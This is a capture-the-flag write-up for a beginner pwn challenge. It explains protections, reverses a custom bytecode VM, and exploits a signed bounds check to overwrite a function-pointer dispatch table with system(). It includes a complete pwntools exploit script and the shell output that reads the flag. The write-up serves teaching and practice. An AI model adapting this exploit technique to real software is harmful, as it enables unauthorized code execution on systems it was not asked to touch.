Chaos

0xFun CTFby smothy

Chaos - PWN (First Blood)

Points: 100 | Category: call4pwn | Difficulty: Easy | Solves: 8 | Flag: 0xfun{l00k5_l1k3_ch479p7_c0uldn7_50lv3_7h15_0n3} | Solved by: Smothy @ 0xN1umb

first blood

first blood on this one lets gooo

challenge

vibes


what we got

a stripped 64-bit ELF binary called chaos and a Dockerfile. the description says "nah nah, this is not another 67 challenge, is more easier" and "You have suffered enough" lmao

lets see what we're working with.


step 0: basic recon (what every pwn challenge starts with)

before we touch anything, we need to understand what kind of binary we're dealing with. two commands you should ALWAYS run first on any pwn challenge.

file - what kind of binary is this?

$ file chaos chaos: ELF 64-bit LSB executable, x86-64, dynamically linked, stripped

breaking this down for beginners:

  • ELF = Executable and Linkable Format. this is the standard binary format on Linux (like .exe on Windows)
  • 64-bit = uses 64-bit addresses and registers. this matters because pointers are 8 bytes, not 4
  • LSB = Little-endian. bytes are stored in reverse order in memory
  • dynamically linked = the binary uses shared libraries (like libc) loaded at runtime
  • stripped = debug symbols removed. function names are gone, making reverse engineering harder

what is little-endian?

this confuses EVERY beginner so lets clear it up. on x86 systems, multi-byte values are stored with the least significant byte first:

little endian byte ordering (source: CS 161 Textbook)

so the value 0x44434241 is stored in memory as bytes 41 42 43 44. this means when we put the string "sh" (0x6873) into a register, the bytes in memory will be 73 68 00 ... which is correct ASCII for "sh". little-endian actually helps us here.

checksec - what security protections are enabled?

$ checksec chaos RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

this is CRITICAL. understanding protections tells you what attacks are possible and what's blocked. let me explain every single one:

Full RELRO (Relocation Read-Only)

  • what it is: after the program starts, the GOT (Global Offset Table) becomes read-only
  • what's the GOT? when your program calls printf(), it doesn't know printf's address until runtime. the GOT is a lookup table that stores these resolved addresses. imagine a phone book - it maps function names to their actual locations in memory
  • why it matters: a classic pwn technique is overwriting a GOT entry so when the program calls printf(), it actually calls system() instead. Full RELRO makes the "phone book" read-only after startup, preventing this attack
  • for us: we need a DIFFERENT way to redirect execution. can't touch the GOT

No canary (Stack canary / Stack cookie)

  • what it is: a random value placed on the stack between your buffer and the return address. think of it like a tripwire - if a buffer overflow happens, the canary value gets overwritten, and the program detects it before returning
  • why it matters: without a canary, if we overflow a buffer we can overwrite the return address without being caught
  • for us: no canary = if there's a buffer overflow, we can exploit it freely

NX enabled (No-eXecute / DEP)

  • what it is: the stack and heap are marked as non-executable. you can store data there, but you can't run it as code
  • why it matters: in the old days, you could write machine code (shellcode) directly onto the stack and jump to it. NX prevents this - the CPU refuses to execute anything from these memory regions
  • for us: we can't inject shellcode. we need to reuse existing code already in the binary (like the system() function which is already imported)

No PIE (Position-Independent Executable)

  • what it is: PIE randomizes where the binary is loaded in memory. without PIE, the binary always loads at the exact same address (0x400000)
  • why it matters: this is HUGE. it means every single address in the binary is predictable. system@plt will always be at 0x401090, data will always be at 0x404000, etc. we don't need any leaks
  • for us: we can hardcode addresses in our exploit. this makes everything way easier

how memory is organized (important for the exploit)

every running program has its memory organized into sections. this is what it looks like:

process memory layout (source: CS 161 Textbook)

the key sections:

  • Code (text): the actual machine instructions (read-only, executable)
  • Data/BSS: global variables, initialized and uninitialized (read-write)
  • Heap: dynamically allocated memory, grows upward
  • Stack: function calls, local variables, grows downward

here's a more detailed view of a real Linux process:

linux process address space (source: Anatomy of a Program in Memory)

for our exploit, the important thing is that the data section (where the VM's registers, dispatch table, and bytecode live) is at fixed addresses because there's no PIE.

and here's how the binary sections map to memory:

ELF binary mapped to memory (source: Anatomy of a Program in Memory)

the .data and .bss sections from the ELF file get loaded into the read-write data area in memory. this is where all of our VM's state lives - and where our exploit will operate.

strings - any interesting text?

$ strings chaos system <-- system() function is linked! echo stub <-- what system() is called with DEBUG: System @ %p <-- debug message that leaks system's address [!] Segfault (Read) [!] Segfault (Write) Feed the chaos (Hex encoded): --- CHAOS ENGINE --- Executing...

why system matters: system() is a libc function that takes a string and executes it as a shell command. system("ls") lists files, system("sh") spawns a shell. if we can call system("sh"), we get full control of the remote machine. and it's already imported into the binary - we just need to call it with our own argument instead of "echo stub".

running the binary

$ ./chaos --- CHAOS ENGINE --- Feed the chaos (Hex encoded):

it asks for hex-encoded input. so if we want to send the bytes \x41\x42\x43, we'd type 414243. after input, it says "Executing..." - so it's running our input as some kind of code. time to figure out what kind.


step 1: reversing the VM (understanding the "chaos engine")

threw the binary into IDA Pro (a disassembler) and mapped out the entire program. this thing is a custom bytecode virtual machine.

what's a VM in this context?

if you've never seen one in a CTF, don't panic. imagine you built a tiny fake computer inside your program:

┌─────────────────────────────────────────────────┐ │ CHAOS VM ARCHITECTURE │ │ │ │ ┌──────────┐ ┌──────────┐ ┌────────────┐ │ │ │ REGISTERS │ │ BYTECODE │ │ DISPATCH │ │ │ │ r0 - r7 │ │ (input) │ │ TABLE │ │ │ │ 8 x 64bit │ │ 512 bytes│ │ 7 handlers │ │ │ └──────────┘ └──────────┘ └────────────┘ │ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ IP │ │ KEY │ execution flow: │ │ │ (pointer) │ │ (XOR) │ fetch → decode │ │ └──────────┘ └──────────┘ → execute │ │ │ │ CYCLE: read 3 bytes → XOR decrypt → execute op │ └─────────────────────────────────────────────────┘

it has:

  • its own registers (like variables the CPU uses for calculations)
  • its own instruction set (a list of operations it can perform)
  • its own memory layout
  • its own instruction pointer (tracks which instruction to execute next)

your hex input becomes the "machine code" for this fake CPU. the VM reads your instructions one by one, decodes them, and executes them.

the memory layout

since we have no PIE, every address is fixed and known. here's where everything lives:

CHAOS VM MEMORY MAP 0x404020 ┌─────────────────────────────────────────┐ │ DISPATCH TABLE (function pointers) │ │ │ │ [0] = 0x4011f5 → HALT handler │ ← we overwrite THIS │ [1] = 0x401222 → SET handler │ │ [2] = 0x401260 → ADD handler │ │ [3] = 0x40130a → XOR handler │ │ [4] = 0x4013b6 → READ handler │ │ [5] = 0x401463 → WRITE handler │ │ [6] = 0x4014f0 → EXEC handler │ 0x404058 └─────────────────────────────────────────┘ ... 72 byte gap ... 0x4040a0 ┌─────────────────────────────────────────┐ │ REGISTERS │ │ r0 @ 0x4040a0 ← "sh" string goes here │ │ r1 @ 0x4040a8 │ │ r2 @ 0x4040b0 │ │ r3 @ 0x4040b8 │ │ r4 @ 0x4040c0 │ │ r5 @ 0x4040c8 │ │ r6 @ 0x4040d0 │ │ r7 @ 0x4040d8 │ 0x4040e0 ├─────────────────────────────────────────┤ │ DATA AREA (read/write target) │ │ WRITE base address = 0x4040e0 │ │ valid range: 0x4040e0 to 0x4050df │ │ ... but we can go NEGATIVE! (the bug) │ │ │ 0x4050e0 ├─────────────────────────────────────────┤ │ BYTECODE BUFFER (our hex input) │ │ up to 512 bytes │ 0x4052e0 ├─────────────────────────────────────────┤ │ IP (instruction pointer) - starts at 0 │ 0x4052e8 ├─────────────────────────────────────────┤ │ KEY (XOR encryption) - starts at 0x55 │ 0x4052e9 ├─────────────────────────────────────────┤ │ RUNNING flag - starts at 1 │ └─────────────────────────────────────────┘

what is a dispatch table? (this is key to the exploit)

a dispatch table is an array of function pointers - think of it as a lookup table that maps opcode numbers to the function that handles them.

when VM sees opcode 3 (XOR): ┌────────────────┐ │ dispatch_table │ ├────────────────┤ │ [0] → HALT() │ │ [1] → SET() │ │ [2] → ADD() │ │ [3] → XOR() ◄──┼── VM reads this address │ [4] → READ() │ │ [5] → WRITE() │ │ [6] → EXEC() │ └────────────────┘ │ ▼ XOR handler executes

the critical insight: when the VM executes an instruction, it does:

c
handler = dispatch_table[opcode];    // read function address
handler(reg[byte1], byte2, byte1);   // call it, rdi = register value

if we overwrite an entry in this table with system()'s address, the VM will call system() instead of the original handler. and since rdi (first argument) gets set to the register value, we can control what string system() receives.

AFTER our overwrite: ┌────────────────┐ │ dispatch_table │ ├────────────────┤ │ [0] → system() │ ← was HALT, now system()! │ [1] → SET() │ │ [2] → ADD() │ │ ... │ └────────────────┘ │ VM executes "HALT" with r1 = pointer to "sh" │ ▼ system("sh") → SHELL!

how instructions are encoded (the XOR layer)

each instruction is exactly 3 bytes: [opcode, operand1, operand2]

but every byte is XOR encrypted with a rolling key. so what is XOR?

XOR: the building block of crypto

XOR (exclusive or) outputs 1 when inputs differ, 0 when they're the same:

input A: 1 0 1 1 0 0 1 0 input B: 0 1 1 0 0 1 1 0 ───────────────────────── A XOR B: 1 1 0 1 0 1 0 0

the magic property: if A XOR B = C, then C XOR B = A. this means XOR with the same key both encrypts AND decrypts:

plaintext XOR key = encrypted

(visual XOR: plaintext XOR key = encrypted gibberish. XOR the gibberish with the same key and you get the plaintext back. source: cryptosmith.com)

the VM starts with key = 0x55. it XORs each byte with this key to decrypt. but the key mutates after every instruction:

  • always: key += 0x13 (shift by 19)
  • after ADD: key ^= low_byte(result)
  • after XOR op: key ^= low_byte(result)
  • after WRITE: key += 1

so instruction 1 uses key 0x55, instruction 2 might use 0x68, instruction 3 might use 0x7B, etc. if our encoder's key drifts by even 1 from the real VM, every instruction after that decodes to garbage. our encoder must perfectly simulate the VM state.

the 7 opcodes

after decrypting, the VM computes opcode_byte % 7 to pick the handler:

opcodenamewhat it doeskey side-effect
0HALTstops the VMnone
1SETreg[op1] = op2 (load a byte value 0-255)none
2ADDreg[op1] += reg[op2]key ^= result
3XORreg[op1] ^= reg[op2]key ^= result
4READread from data area into registernone
5WRITEwrite register to data areakey += 1
6EXECif reg==0xdeadc0de: system("echo stub"), leaks system addrnone

important limitation: SET can only load values 0-255 into a register. but we need addresses like 0x401090 and 0x4040a0. we'll need to be creative (explained in step 3).


step 2: finding the vulnerability (signed vs unsigned - the classic)

the bug: READ checks both bounds, WRITE only checks one

READ bounds check (SAFE):

c
offset = regs[source_register];
if (offset < 0 || offset > 0xff7) {    // checks BOTH sides!
    puts("[!] Segfault (Read)");
    running = 0;
    return;
}
// safe to read from (0x4040e0 + offset)

two checks: lower bound AND upper bound. solid.

WRITE bounds check (VULNERABLE):

c
offset = regs[source_register];
if (offset > 0xfff) {    // only checks upper bound!
    puts("[!] Segfault (Write)");  // and uses SIGNED comparison
    running = 0;
    return;
}
// writes to (0x4040e0 + offset)

the actual assembly:

asm
cmpq $0xfff, offset
jle  ok              ; jump if less-or-equal (SIGNED!)

only ONE check. no lower bound. and it uses jle which is a SIGNED comparison.

why does signed vs unsigned matter? (the CORE vulnerability)

this is the most important concept in this whole challenge, and a real vulnerability class that has caused actual CVEs.

computers store numbers as bits. the SAME bit pattern means different things depending on how you interpret it:

THE SAME BITS, TWO MEANINGS bit pattern: 1111 1111 1111 1111 ... 0100 0000 as UNSIGNED: 18,446,744,073,709,551,424 (a gigantic positive number) as SIGNED: -192 (a small negative number) hex: 0xFFFFFFFFFFFFFF40

why? signed integers use "two's complement" encoding. the highest bit is the sign bit:

  • 0xxx... = positive number
  • 1xxx... = negative number

so 0xFFFFFFFFFFFFFF40 has its highest bit set → it's negative when interpreted as signed.

now look at the WRITE bounds check again:

is 0xFFFFFFFFFFFFFF40 <= 0xFFF? signed interpretation: is -192 <= 4095? → YES! check passes! unsigned interpretation: is 18.4 quintillion <= 4095? → NO! would block it

the jle instruction uses signed comparison, so our negative offset passes the check.

but when the CPU computes the actual memory address:

0x4040e0 + 0xFFFFFFFFFFFFFF40 = 0x404020 (64-bit arithmetic wraps around)

0x404020 is the dispatch table! we can write to it!

WRITE DATA AREA (intended) DISPATCH TABLE (unintended!) 0x4040e0 ──────────────┐ 0x404020 ◄── we can reach here valid writes │ with offset = -0xC0 offset 0 │ to 0xFFF │ 0x4050df ──────────────┘ offset needed: 0x404020 - 0x4040e0 = -0xC0 = 0xFFFFFFFFFFFFFF40 signed check: -0xC0 <= 0xFFF → TRUE (bug!)

the attack plan

1. write "sh" string into register memory → "sh\0" at address 0x4040a0 2. build pointer to "sh" (0x4040a0) in r1 3. build system@plt address (0x401090) in r3 4. build negative offset (-0xC0) in r4 5. WRITE r3 to negative offset → dispatch_table[0] = system 6. trigger HALT with r1 as argument → system("sh") → SHELL!

step 3: building the exploit (constructing 64-bit values from bytes)

here's the challenge: SET can only load values 0-255 into a register, but we need:

  • 0x6873 (the string "sh" in little-endian)
  • 0x4040a0 (pointer to the "sh" string)
  • 0x401090 (system@plt address)
  • 0xFFFFFFFFFFFFFF40 (negative offset -0xC0)

we only have SET (0-255), ADD, and XOR. how do we build big numbers?

trick 1: shift left by repeated doubling

if you add a number to itself, you double it. in binary, doubling = shifting left by 1 bit:

start: 0x68 = 0110 1000 (104) double 1: 0xD0 = 1101 0000 (208) double 2: 0x1A0 = 1 1010 0000 (416) double 3: 0x340 = 11 0100 0000 (832) ... double 8: 0x6800 = 110 1000 0000 0000 (26624)

8 doublings = multiply by 256 = shift left by 8 bits. this positions a byte value into the second-lowest byte of the number.

trick 2: build values byte by byte

to construct 0x6873 ("sh" in little-endian):

SET r0, 0x73 r0 = 0x73 (the 's' character) SET r2, 0x68 r2 = 0x68 (the 'h' character) ADD r2, r2 ×8 r2 = 0x6800 (shift 'h' left 8 bits) ADD r0, r2 r0 = 0x73 + 0x6800 = 0x6873 ✓

register r0 is stored in memory at 0x4040a0, so the bytes there become: 73 68 00 00 00 00 00 00 = the string "sh\0". perfect.

to construct 0x4040a0 (pointer to our "sh" string):

SET r1, 0xa0 r1 = 0xa0 SET r2, 0x40 → double ×8 r2 = 0x4000 ADD r1, r2 r1 = 0x40a0 SET r2, 0x40 → double ×16 r2 = 0x400000 ADD r1, r2 r1 = 0x4040a0 ✓

to construct 0x401090 (system@plt):

SET r3, 0x90 r3 = 0x90 SET r6, 0x10 → double ×8 r6 = 0x1000 ADD r3, r6 r3 = 0x1090 ADD r3, r2 r3 = 0x401090 ✓ (r2 still has 0x400000!)

trick 3: building negative numbers with XOR

this is the trickiest part. we need -0xC0 = 0xFFFFFFFFFFFFFF40.

step A: build -1 (0xFFFFFFFFFFFFFFFF, all bits set to 1):

SET r4, 0xFF r4 = 0x00000000000000FF round 1: double r4 ×8 r4 = 0x000000000000FF00 ADD r4, 0xFF r4 = 0x000000000000FFFF ← 2 bytes of FF round 2: double r4 ×8 r4 = 0x0000000000FFFF00 ADD r4, 0xFF r4 = 0x0000000000FFFFFF ← 3 bytes of FF ... (5 more rounds) ... round 7: double r4 ×8 r4 = 0xFFFFFFFFFFFFFF00 ADD r4, 0xFF r4 = 0xFFFFFFFFFFFFFFFF ← all 8 bytes = -1 ✓

step B: XOR to get the exact value:

-1 = 0xFFFFFFFFFFFFFFFF -0xC0 = 0xFFFFFFFFFFFFFF40 difference in last byte: 0xFF → 0x40 0xFF XOR 0xBF = 0x40 ✓ so: XOR r4, 0xBF → r4 = 0xFFFFFFFFFFFFFF40 = -0xC0 ✓

why does this work? XOR only flips bits where the mask has 1s. 0xBF = 10111111 flips 6 bits in the last byte, turning 0xFF into 0x40. all other bytes stay 0xFF because the mask is zero there (implicitly, since r5 = 0xBF = 0x00000000000000BF).

the full instruction sequence visualized

PHASE 1: Create "sh" string 11 instructions ┌─────────────────────────────────┐ │ r0 = "sh" (0x6873) │ → string lives at 0x4040a0 │ r2 = used as temp │ └─────────────────────────────────┘ PHASE 2: Build pointer to "sh" 29 instructions ┌─────────────────────────────────┐ │ r1 = 0x4040a0 (addr of r0) │ → first arg for system() │ r2 = 0x400000 (reusable temp) │ └─────────────────────────────────┘ PHASE 3: Build system@plt address 12 instructions ┌─────────────────────────────────┐ │ r3 = 0x401090 (system@plt) │ → what we write to table │ r6 = used as temp │ └─────────────────────────────────┘ PHASE 4: Build negative offset 67 instructions ┌─────────────────────────────────┐ │ r4 = 0xFFFFFFFFFFFFFF40 (-0xC0)│ → WHERE we write │ r5 = used as temp │ └─────────────────────────────────┘ PHASE 5: Exploit! 2 instructions ┌─────────────────────────────────┐ │ WRITE r3, r4 → overwrite table │ dispatch_table[0] = system │ HALT r1, 0 → trigger shell! │ system(0x4040a0) = system("sh") └─────────────────────────────────┘ TOTAL: 121 instructions × 3 bytes = 363 bytes (limit: 512) ✓

step 4: the solve script

the encoder has to simulate the VM's key state perfectly to XOR-encrypt each instruction correctly:

python
from pwn import *

HALT, SET, ADD, XOR, READ, WRITE, EXEC = 0, 1, 2, 3, 4, 5, 6

def encode(instructions):
    key = 0x55                # VM starts with this key
    regs = [0] * 8            # simulate register state
    bc = b""
    for op, b1, b2 in instructions:
        # encrypt each byte with current key (what the VM will XOR to decode)
        bc += bytes([op ^ key, b1 ^ key, b2 ^ key])
        # simulate what the VM does to track key mutations
        if op == SET:
            regs[b1] = b2
        elif op == ADD:
            regs[b1] = (regs[b1] + regs[b2]) & 0xFFFFFFFFFFFFFFFF
            key = (key ^ (regs[b1] & 0xFF)) & 0xFF     # ADD mutates key
        elif op == XOR:
            regs[b1] = regs[b1] ^ regs[b2]
            key = (key ^ (regs[b1] & 0xFF)) & 0xFF     # XOR mutates key
        elif op == WRITE:
            key = (key + 1) & 0xFF                       # WRITE mutates key
        key = (key + 0x13) & 0xFF  # every instruction advances key by 0x13
    return bc

i = []

# phase 1: "sh" in r0
i += [(SET, 0, 0x73), (SET, 2, 0x68)]
i += [(ADD, 2, 2)] * 8        # shift 0x68 left by 8 → 0x6800
i += [(ADD, 0, 2)]            # r0 = 0x73 + 0x6800 = 0x6873

# phase 2: pointer 0x4040a0 in r1
i += [(SET, 1, 0xa0), (SET, 2, 0x40)]
i += [(ADD, 2, 2)] * 8        # 0x40 → 0x4000
i += [(ADD, 1, 2), (SET, 2, 0x40)]
i += [(ADD, 2, 2)] * 16       # 0x40 → 0x400000
i += [(ADD, 1, 2)]            # r1 = 0xa0 + 0x4000 + 0x400000 = 0x4040a0

# phase 3: system@plt 0x401090 in r3
i += [(SET, 3, 0x90), (SET, 6, 0x10)]
i += [(ADD, 6, 6)] * 8        # 0x10 → 0x1000
i += [(ADD, 3, 6), (ADD, 3, 2)]  # r3 = 0x90 + 0x1000 + 0x400000 = 0x401090

# phase 4: -0xC0 (0xFFFFFFFFFFFFFF40) in r4
i += [(SET, 5, 0xFF), (SET, 4, 0xFF)]
for _ in range(7):
    i += [(ADD, 4, 4)] * 8 + [(ADD, 4, 5)]  # shift and fill each byte with FF
i += [(SET, 5, 0xBF), (XOR, 4, 5)]          # flip bits: -1 → -0xC0

# phase 5: overwrite dispatch table and pop shell
i += [(WRITE, 3, 4), (HALT, 1, 0)]

p = remote("chall.0xfun.org", 23841)
p.recvuntil(b"): ")
p.sendline(encode(i).hex().encode())
p.interactive()

flag

shell

$ python3 solve.py [+] Opening connection to chall.0xfun.org on port 23841: Done [*] Switching to interactive mode Executing... $ cat /home/pwn/flag.txt 0xfun{l00k5_l1k3_ch479p7_c0uldn7_50lv3_7h15_0n3}

0xfun{l00k5_l1k3_ch479p7_c0uldn7_50lv3_7h15_0n3}


key takeaways for beginners

1. always run file and checksec first

protections tell you what's possible. no PIE = fixed addresses. no canary = overflow freely. Full RELRO = find a different target than the GOT.

2. signed vs unsigned is a real vulnerability class

this isn't just a CTF trick. CWE-195 is "Signed to Unsigned Conversion Error" and has caused real CVEs. jle (signed) vs jbe (unsigned) is one bit difference in machine code but completely changes security. always ask: "what happens if this value is negative?"

3. custom VMs are just puzzles to map out

every VM has: registers, opcodes, memory, instruction pointer. find those 4 things and you understand the whole thing. the XOR key is just obfuscation, not a real barrier.

4. function pointer tables are high-value targets

dispatch tables, vtables, callback arrays - whenever you see an array of function pointers, think "can I overwrite one?" if yes, you control execution.

5. build big numbers from small pieces

when limited to 8-bit values, use repeated doubling (=shift left), addition, and XOR to construct any 64-bit value. tedious but always works.

6. reuse intermediate values

we reused r2 = 0x400000 for both the pointer and system@plt. fewer instructions = fits in the limit. always look for values you've already computed.

7. understand the x86-64 calling convention

first argument goes in rdi. when the VM calls dispatch_table[opcode](reg[byte1], ...), rdi gets the register value. by controlling that value, we control system()'s argument.

8. XOR rolling keys are annoying but solvable

simulate the VM in your encoder. update the key exactly as the VM would. if your simulation matches, everything decodes correctly. test locally first.


further reading

if you want to learn more about the concepts in this challenge:


the irony of the flag saying "chatgpt couldn't solve this" while i'm sitting here with first blood... ngl pretty satisfying fr

done


smothy out ✌️